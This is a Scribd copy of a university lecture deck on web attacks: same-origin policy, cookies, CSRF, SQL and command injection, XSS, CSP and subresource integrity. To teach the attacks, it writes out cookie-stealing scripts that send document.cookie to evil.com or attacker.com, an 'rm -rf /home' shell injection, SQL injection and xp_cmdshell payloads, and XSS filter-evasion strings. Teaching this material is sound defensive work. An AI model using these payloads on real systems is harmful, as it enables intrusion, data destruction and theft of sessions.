Scribd
Upload
80 views

09 Web Attacks PDF

The document discusses web attacks related to same origin policy and cookies. It explains how same origin policy restricts how scripts from different origins can access each other's content but vulnerabilities still exist. It also describes how cookies work based on domain and path, and how attackers can potentially steal cookies through JavaScript, iframes, or HTTP requests even if the original cookie is set securely. Cross-origin resource sharing and HTTP-only cookies help mitigate some of these attacks.

Uploaded by

angelhb
Copyright
© © All Rights Reserved
Available Formats
Download as PDF, TXT or read online on Scribd
80 views

09 Web Attacks PDF

The document discusses web attacks related to same origin policy and cookies. It explains how same origin policy restricts how scripts from different origins can access each other's content but vulnerabilities still exist. It also describes how cookies work based on domain and path, and how attackers can potentially steal cookies through JavaScript, iframes, or HTTP requests even if the original cookie is set securely. Cross-origin resource sharing and HTTP-only cookies help mitigate some of these attacks.

Uploaded by

angelhb
Copyright
© © All Rights Reserved
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 79

Web Attacks

CS155 Computer and Network Security


Review:
Same Origin Policy
DOM Same Origin Policy
Websites can include resources from any origin but Javascript on the
requesting website cannot inspect content from other origins

attacker.com
http://example.com
GET /img/usr.jpg

<img src=“bank.com/img/usr.jpg”>
</img>

bank.com
DOM SOP Vulnerabilities
This can pose a security risk because attackers might not need to view the
response to a request to pull off their attack

attacker.com
http://example.com

GET /transfer?…
<img src=“https://bank.com/transfer?

fromAccount=X

&toAccount=Y

&amount=1000”></img>

bank.com
Javascript Requests
Javascript can make new requests for additional data and resources

// running on attacker.com
$.ajax({url: “https://bank.com/account",
success: function(result){
     $("#div1").html(result);
}
});
Cross-Origin Resource Sharing (CORS)
By default, Javascript cannot read data sent back by a different origin

app.bank.com GET /account

$.ajax({url: “api.bank.com/account“, …})
api.bank.com
Cross-Origin Resource Sharing (CORS)
By default, Javascript cannot read data sent back by a different origin

app.bank.com GET /account

$.ajax({url: “api.bank.com/account“, …})
api.bank.com

Servers can add Access-Control-Allow-Origin (ACAO) header that


tells browser to allow access to content

app.bank.com GET /account

$.ajax({url: “api.bank.com/account“, …}) ACAO: app.bank.com


api.bank.com
Simple vs. Pre-Flight Requests
CORS performs a Pre-Flight check to determine whether the server is willing to receive the
request from the origin when the request would have been impossible without Javascript

app.bank.com GET /account

api.bank.com

Equivalent to adding the following to the DOM: <img href=“api.bank.com/account”></img>


Simple vs. Pre-Flight Requests
CORS performs a Pre-Flight check to determine whether the server is willing to receive the
request from the origin when the request would have been impossible without Javascript

app.bank.com GET /account

api.bank.com

Equivalent to adding the following to the DOM: <img href=“api.bank.com/account”></img>

$.ajax({
url: “api.bank.com/account“, type: “POST”, 
 Requires Pre-Flight because not
dataType: “JSON”, data: {“account”: “abc123”} possible to send JSON in HTML form
})
Same Origin Policy
(Cookies)
Cookies
“In scope” cookies are always sent to an origin regardless of requester

bank.com/login POST /login

<html><form>...</form></html>
bank.com

bank.com/ GET /img/user.jpg

<img src=“/img/user.jpg”
bank.com
Cookies
“In scope” cookies are always sent to an origin regardless of requester

bank.com/login POST /login

<html><form>...</form></html>
bank.com

bank.com/ GET /img/user.jpg

<img src=“/img/user.jpg”
bank.com

attacker.com GET /img/user.jpg

<img src=“/img/user.jpg”
bank.com
Cookie Same Origin Policy
stanford.edu
Cookie scope defined by (domain, path):

Domain:
e.g., (cs155.stanford.edu, /lectures)
Path: /classes



Browser sends all cookies in a URL’s scope:

https://stanford.edu/classes
Cookies with explicit domain are sent to exact
matches and subdomains
https://stanford.edu/classes/cs155

Cookies with empty/implicit domain are only 



sent on exact domain match (no subdomains)
https://stanford.edu/

Dest path is same or suffix of cookie path

https://www.stanford.edu/classes
/lectures/web is suffix of /lectures

Cookie Same Origin Policy


stanford.edu
Cookie scope defined by (domain, path):

Domain: stanford.edu
e.g., (cs155.stanford.edu, /lectures)
Path: /



Browser sends all cookies in a URL’s scope:

https://stanford.edu/classes
Cookies with explicit domain are sent to exact
matches and subdomains
https://cs155.stanford.edu/attack

Cookies with empty/implicit domain are only 



sent on exact domain match (no subdomains)

Dest path is same or suffix of cookie path

/lectures/web is suffix of /lectures

Setting Cookie Scope


Websites can set a scope to be any prefix of domain or path

✔ cs155.stanford.edu can set cookie for cs155.stanford.edu

✔ cs155.stanford.edu can set cookie for stanford.edu

❌ stanford.edu cannot set cookie for cs155.stanford.edu

✔ website.com/ can set cookie for website.com/

✔ website.com/login can set cookie for website.com/

❌ website.com cannot set cookie for website.com/login

Cookie Attack
CS155 now allows you to login and submit homework at cs155.stanford.edu
Cookies
POST /login HTTP/1.1
cookies: []
username: zakir, password: stanford HTTP/1.0 200 OK

(cs155.stanford.edu)
cookies: session=abc cs155.stanford.edu
session=abc
<html>Success!</html>

GET /memes HTTP/1.1


cookies: []

HTTP/1.0 200 OK



cookies: session=def; Domain=stanford.edu dabo.stanford.edu
(cs155.stanford.edu)
session=abc <html>Success!</html>
stanford.edu POST /submit HTTP/1.1
session=def cookies: ?

cs155.stanford.edu
Javascript Cookie Access
Developers can additionally manipulate in-scope cookies through Javascript by modifying
the values in document.cookie.

document.cookie = "name=zakir";
document.cookie = "favorite_class=cs155";
function alertCookie() {
alert(document.cookie);
}
<button onclick="alertCookie()">Show Cookies</button>
Policy Collisions
Cookie SOP Policy
cs.stanford.edu/zakir is not sent cookies for cs.stanford.edu/dabo

(cs.stanford.edu is not sent cookies for cs.stanford.edu/zakir either)

Are Dan’s cookies safe from Zakir?

const iframe = document.createElement("iframe");


iframe.src = “https://cs.stanford.edu/dabo”;
document.body.appendChild(iframe);
alert(iframe.contentWindow.document.cookie);
Policy Collisions
Cookie SOP Policy
cs.stanford.edu/zakir is not sent cookies for cs.stanford.edu/dabo

(cs.stanford.edu is not sent cookies for cs.stanford.edu/zakir either)

Are Dan’s cookies safe from Zakir? No. DOM SOP doesn’t consider path.
const iframe = document.createElement("iframe");
iframe.src = “https://cs.stanford.edu/dabo”;
document.body.appendChild(iframe);
alert(iframe.contentWindow.document.cookie);
Third Party Access
If your bank includes Google Analytics Javascript (from google.com), can
it access your Bank’s authentication cookie?

Third Party Access


If your bank includes Google Analytics Javascript (from google.com), can
it access your Bank’s authentication cookie?

Yes! Javascript always runs with the permissions of the window


const img = document.createElement("image");
img.src = "https://evil.com/?cookies=" + document.cookie;
document.body.appendChild(img);
HttpOnly Cookies
You can set setting to prevent cookies from being accessed through the
document.cookie API

Prevents Google Analytics from stealing your cookie —

1. Never sent by browser to Google because (google.com, /) 



does not match (bank.com, /)

2. Cannot be extracted by Javascript that runs on bank.com


HTTP Cookies
Network Attacker

Can Observe/Alter/Drop Traffic
HTTPS Connection
bank.com

domain: bank.com
name: authID
value: auth
HTTP Cookies
Network Attacker

Can Observe/Alter/Drop Traffic
HTTPS Connection
bank.com

domain: bank.com
name: authID
value: auth

Attacker tricks user into visiting http://bank.com


HTTP Cookies
Network Attacker

Can Observe/Alter/Drop Traffic
HTTPS Connection
bank.com

domain: bank.com
name: authID
value: auth

Attacker tricks user into visiting http://bank.com

bank.com

domain: bank.com
name: authID
value: auth
Secure Cookies
A secure cookie is only sent to the server when request is sent over an
encrypted channel (i.e., using HTTPS protocol)

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure;


Session Hijacking Attacks
Capturing cookies in order to steal a user’s session — whether it be
through network sniffing, malicious Javascript, or another means — is
known as a Session Hijacking Attack

Cross-Site Request Forgery


(CSRF)
Cross-Site Request Forgery (CSRF)
attacker.com POST /transfer

$.post({url: “api.bank.com/account“, …})
api.bank.com

Cross-site request forgery (CSRF) attacks are a type of web exploit where a
website transmits unauthorized commands as a user that the web app trusts

In a CSRF attack, a user is tricked into submitting an unintended 



(often unrealized) web request to a website
Cookie-Based Authentication
attacker.com GET /account

$.ajax({url: “api.bank.com/account“, …})
api.bank.com

attacker.com POST /transfer

$.post({url: “api.bank.com/account“, …})
api.bank.com

Cookie-based authentication is not sufficient


for requests that have any side affect
Preventing CSRF Attacks
Cookies do not indicate whether an authorized application submitted request
since they’re included in every (in-scope) request

We need another mechanism that allows us to ensure that a request is


authentic (coming from a trusted page)

Four commonly used techniques:

- Referer Validation

- Secret Validation Token

- Custom HTTP Header

- sameSite Cookies
Referer Validation
The Referer request header contains the address of the previous web page
from which a link to the currently requested page was followed. The header
allows servers to identify where people are visiting from.

https://bank.com → https://bank.com ✓

https://attacker.com → https://bank.com X
https://attacker.com → https://bank.com ??
Secret Token Validation
bank.com includes a secret value in every form that the server can validate

<form action=“https://bank.com/transfer" method="post">


<input type="hidden" name="csrf_token" value=“434ec7e838ec3167ef5">
<input type=“text" name="to">
<input type=“text" name=“amount”>
<button type="submit">Transfer!</button>
</form>

Attacker can’t submit data to /transfer if they don’t know csrf_token


Secret Token Generation
<form action=“https://bank.com/transfer" method="post">
<input type="hidden" name="csrf_token" value=“434ec7e838ec3167ef5"> ?
<input type=“text" name="to">
<button type="submit">Transfer!</button>
</form>

How do we come up with a token that user can access but attacker can’t?

❌ Set static token in form

→ attacker can load the transfer page out of band

✓ Send session-specific token as part of the page

→ attacker cannot access because SOP blocks reading content


Force CORS Pre-Flight
Requests that required and passed CORS Pre-Flight check are safe

→ Typical GETs and POSTs don’t require Pre-Flight even if XMLHTTPRequest

Can we force the browser to make Pre-Flight check? And tell the server?

→ You can add custom header to XMLHTTPRequest


→ Forces Pre-Flight because custom header

→ Never sent by the browser itself when performing normal GET or POST

Typically developers use X-Requested-By or X-Requested-With


Force CORS Pre-Flight
Requests that required and passed CORS Pre-Flight check are safe

→ Typical GETs and POSTs don’t require Pre-Flight even if XMLHTTPRequest

Can we force the browser to make Pre-Flight check? And tell the server?

→ You can add custom header to XMLHTTPRequest


→ Forces Pre-Flight because custom header

→ Never sent by the browser itself when performing normal GET or POST

Typically developers use X-Requested-By or X-Requested-With


sameSite Cookies
Cookie option that prevents browser from sending a cookie along with
cross-site requests.

Strict Mode. Never send cookie in any cross-site browsing context, even
when following a regular link. If a logged-in user follows a link to a private
GitHub project from email, GitHub will not receive the session cookie and
the user will not be able to access the project.

Lax Mode. Session cookie is be allowed when following a regular link from
but blocks it in CSRF-prone request methods (e.g. POST).
Beyond Authenticated Sessions
Prior attacks were using CRSF attack to abuse cookies from logged-in user 

Not all attacks are attempting to abuse authenticated user

Imagine script that logs into your local router using default password and
changes DNS settings to hijack traffic

→ Logging in to a site is a request with a side effect!


SQL Injection
OWASP Ten Most Critical Web Security Risks
Command Injection
The goal of command injection attacks is to execute an arbitrary command on the
system. Typically possible when a developer passes unsafe user data into a shell.

Example: head100 — simple program that cats first 100 lines of a program

int main(int argc, char **argv) {


char *cmd = malloc(strlen(argv[1]) + 100);
strcpy(cmd, “head -n 100 ”);
strcat(cmd, argv[1]);
system(cmd);
}
Command Injection
Source:

int main(int argc, char **argv) {


char *cmd = malloc(strlen(argv[1]) + 100);
strcpy(cmd, “head -n 100 ”);
strcat(cmd, argv[1]);
system(cmd);
}


Normal Input:
./head10 myfile.txt -> system(“head -n 100 myfile.txt”)
Command Injection
Source:

int main(int argc, char **argv) {


char *cmd = malloc(strlen(argv[1]) + 100);
strcpy(cmd, “head -n 100 ”);
strcat(cmd, argv[1]);
system(cmd);
}


Adversarial Input:
./head10 “myfile.txt; rm -rf /home” 

-> system(“head -n 100 myfile.txt; rm -rf /home”);
SQL Injection
Last examples all focused on shell injection

Command injection oftentimes occurs when developers try to


build SQL queries that use user-provided data

Known as SQL injection


SQL Injection Example
$login = $_POST['login'];
$pass = $_POST['password'];
$sql = "SELECT id FROM users
WHERE username = '$login'
AND password = '$password'”;

$rs = $db->executeQuery($sql);
if $rs.count > 0 {
// success

}
Non-Malicious Input
$u = $_POST['login’]; // zakir
$pp = $_POST['password']; // 123

$sql = "SELECT id FROM users WHERE uid = '$u' AND pwd = '$p'”;

$rs = $db->executeQuery($sql);
if $rs.count > 0 {
// success

}
Non-Malicious Input
$u = $_POST['login’]; // zakir
$pp = $_POST['password']; // 123

$sql = "SELECT id FROM users WHERE uid = '$u' AND pwd = '$p'”;
// "SELECT id FROM users WHERE uid = 'zakir' AND pwd = '123'”
$rs = $db->executeQuery($sql);
if $rs.count > 0 {
// success

}
Bad Input
$u = $_POST['login’]; // zakir
$pp = $_POST['password']; // 123'

$sql = "SELECT id FROM users WHERE uid = '$u' AND pwd = '$p'”;
// "SELECT id FROM users WHERE uid = 'zakir' AND pwd = '123''”
$rs = $db->executeQuery($sql);
// SQL Syntax Error
if $rs.count > 0 {
// success

}
Malicious Input
$u = $_POST['login']; // zakir'--
$pp = $_POST['password']; // 123

$sql = "SELECT id FROM users WHERE uid = '$u' AND pwd = '$p'”;
// "SELECT id FROM users WHERE uid = 'zakir'-- AND pwd…”
$rs = $db->executeQuery($sql);
// (No Error)
if $rs.count > 0 {
// Success!

}
No Username Needed!
$u = $_POST['login’]; // 'or 1=1 --
$pp = $_POST['password']; // 123

$sql = "SELECT id FROM users WHERE uid = '$u' AND pwd = '$p'”;
// "SELECT id FROM users WHERE uid = ''or 1=1 -- AND pwd…”
$rs = $db->executeQuery($sql);
// (No Error)
if $rs.count > 0 {
// Success!

}
Causing Damage
$u = $_POST[‘login’]; // '; DROP TABLE [users] --
$pp = $_POST['password']; // 123

$sql = "SELECT id FROM users WHERE uid = '$u' AND pwd = '$p'”;
// "SELECT id FROM users WHERE uid = ''DROP TABLE [users]--”
$rs = $db->executeQuery($sql);
// No Error…(and no more users table)
if $rs.count > 0 {
// Success!

}
MSSQL xp_cmdshell
Microsoft SQL server lets you run arbitrary system commands!

xp_cmdshell { 'command_string' } [ , no_output ]




“Spawns a Windows command shell and passes in a string for execution. 

Any output is returned as rows of text.”
Escaping Database Server
$u = $_POST['login']; // '; exec xp_cmdshell 'net user add usr pwd'--
$pp = $_POST['password']; // 123

$sql = "SELECT id FROM users WHERE uid = '$u' AND pwd = '$p'”;
// "SELECT id FROM users WHERE uid = '';

exec xp_cmdshell 'net user add usr pwd123'-- "

$rs = $db->executeQuery($sql);
// No Error…(and with a resulting local system account)
if $rs.count > 0 {
// Success!

}
Preventing SQL Injection
Never trust user input (particularly when constructing a command)

Never manually build SQL commands yourself!

There are tools for safely passing user input to databases:

• Parameterized (AKA Prepared) SQL

• ORM (Object Relational Mapper) -> uses Prepared SQL internally


Parameterized SQL
Parameterized SQL allows you to send query and arguments separately to server

sql = “INSERT INTO users(name, email) VALUES(?,?)”
 Values are sent to server
cursor.execute(sql, ['Dan Boneh', ‘[email protected]']) separately from command.
Library doesn’t need to escape
sql = "SELECT * FROM users WHERE email = ?" 

cursor.execute(sql, [‘[email protected]'])


Benefit 1: No need to escape untrusted data — server handles behind the scenes

Benefit 2: Parameterized queries are faster because server caches query plan
Object Relational Mappers
Object Relational Mappers (ORM) provide an interface between native objects
and relational databases.

class User(DBObject):
__id__ = Column(Integer, primary_key=True)
name = Column(String(255))
email = Column(String(255), unique=True)

if __name__ == "__main__":
users = User.query(email='[email protected]').all()
session.add(User(email='[email protected]', name='Dan Boneh'))
session.commit()
Cross Site Scripting
(XSS)
Cross Site Scripting (XSS)
Cross Site Scripting: Attack occurs when application takes untrusted data
and sends it to a web browser without proper validation or sanitization.

Command/SQL Injection Cross Site Scripting


attacker’s malicious code is attacker’s malicious code is
executed on app’s server executed on victim’s browser
Search Example
https://google.com/search?q=<search term>

<html>
<title>Search Results</title>
<body>
<h1>Results for <?php echo $_GET["q"] ?></h1>
</body>
</html>
Normal Request
https://google.com/search?q=apple

<html>
<title>Search Results</title>
<body>
<h1>Results for <?php echo $_GET["q"] ?></h1>
</body>
</html>

Sent to Browser

<html>
<title>Search Results</title>
<body>
<h1>Results for apple</h1>

</body>
</html>
Embedded Script
https://google.com/search?q=<script>alert(“hello”)</script>

<html>
<title>Search Results</title>
<body>
<h1>Results for <?php echo $_GET["q"] ?></h1>
</body>
</html>

Sent to Browser

<html>
<title>Search Results</title>
<body>
<h1>Results for <script>alert(“hello")</script></h1>

</body>
</html>
Cookie Theft!
https://google.com/search?q=<script>…</script>

<html>
<title>Search Results</title>
<body>
<h1>Results for 

<script>
window.open(“http:///attacker.com?”+cookie=document.cookie)
</script>
</h1>

</body>
</html>
Types of XSS
An XSS vulnerability is present when an attacker can inject scripting code
into pages generated by a web application.

Two Types:


Reflected XSS. The attack script is reflected back to the user as part of a
page from the victim site.

Stored XSS. The attacker stores the malicious code in a resource managed
by the web application, such as a database.
Reflected Example
Attackers contacted PayPal users via email and fooled them into accessing
a URL hosted on the legitimate PayPal website.

Injected code redirected PayPal visitors to a page warning users their


accounts had been compromised.

Victims were then redirected to a phishing site and prompted to enter


sensitive financial data.
Stored XSS
The attacker stores the malicious code in a resource managed by the web
application, such as a database.
Samy Worm
XSS-based worm that spread on MySpace. It would display the string "but
most of all, samy is my hero" on a victim's MySpace profile page as well as
send Samy a friend request. 

In 20 hours, it spread to one million users.


MySpace Bug

MySpace allowed users to post HTML to their pages. Filtered out

<script>, <body>, onclick, <a href=javascript://>



Missed one. You can run Javascript inside of CSS tags.

<div style="background:url('javascript:alert(1)')">
Filtering Malicious Tags
For a long time, the only way to prevent XSS attacks was to try to filter out
malicious content

Validate all headers, cookies, query strings, form fields, and hidden fields
(i.e., all parameters) against a rigorous specification of what is allowed

‘Negative’ or attack signature based policies are difficult to maintain and are
likely to be incomplete
Filtering is Really Hard
Large number of ways to call Javascript and to escape content

URI Scheme: <img src=“javascript:alert(document.cookie);”>

On{event} Handers: onSubmit, OnError, onSyncRestored, … (there’s ~105)

Samy Worm: CSS

Tremendous number of ways of encoding content

<IMG_SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000
114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#00
00114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#
0000041>
Google XSS FIlter Evasion!
Filters that Change Content

Filter Action: filter out <script


Attempt 1: <script src= "…">
src="…"
Attempt 2: <scr<scriptipt src="..."
<script src="...">
Filters that Change Content
Today, web frameworks take care of filtering out malicious input*

* they still mess up regularly. Don’t trust them if it’s important!

Do not roll your own!


Content Security Policy (CSP)

You’re always safer using a whitelist- rather than blacklist-based approach

CSP allows eliminating XSS attacks by whitelisting the origins that are
trusted sources of scripts and other resources

Browser will only execute scripts from whitelisted domains, ignoring all other
scripts (including inline scripts and event-handling HTML attributes).
Example CSP 1

Content-Security-Policy: default-src 'self'


→ content can only be loaded from the same domain as the page

→ no inline <script></script> will be executed

→ no inline <style></style> will be executed


Example CSP 2
Content-Security-Policy: default-src 'self'; 

img-src *; script-src cdn.jquery.com

→ content can only be loaded from the same domain as the page, except

→ images can be loaded from any origin

→ scripts can only be loaded from cdn.jquery.com

→ no inline <script></script> will be executed

→ no inline <style></style> will be executed


Sub-Resource Integrity
Third-Party Content Safety

Question: how do you safely load an object from a third party service?

<script src="https://code.jquery.com/jquery-3.4.0.js"></script>

If code.jquery.com is compromised, your site is too!


MaxCDN Compromise
2013: MaxCDN, which hosted bootstrapcdn.com, was compromised

MaxCDN had laid off a support engineer having access to the servers where
BootstrapCDN runs. The credentials of the support engineer were not
properly revoked. The attackers had gained access to these credentials.

Bootstrap JavaScript was modified to serve an exploit toolkit


Sub-Resource Integrity (SRI)
SRI allows you to specify expected hash of file being included

<script
  src="https://code.jquery.com/jquery-3.4.0.min.js"
  integrity="sha256-BJeo0qm959uMBGb65z40ejJYGSgR1fNKwOg="
/>
Web Attacks
CS155 Computer and Network Security

You might also like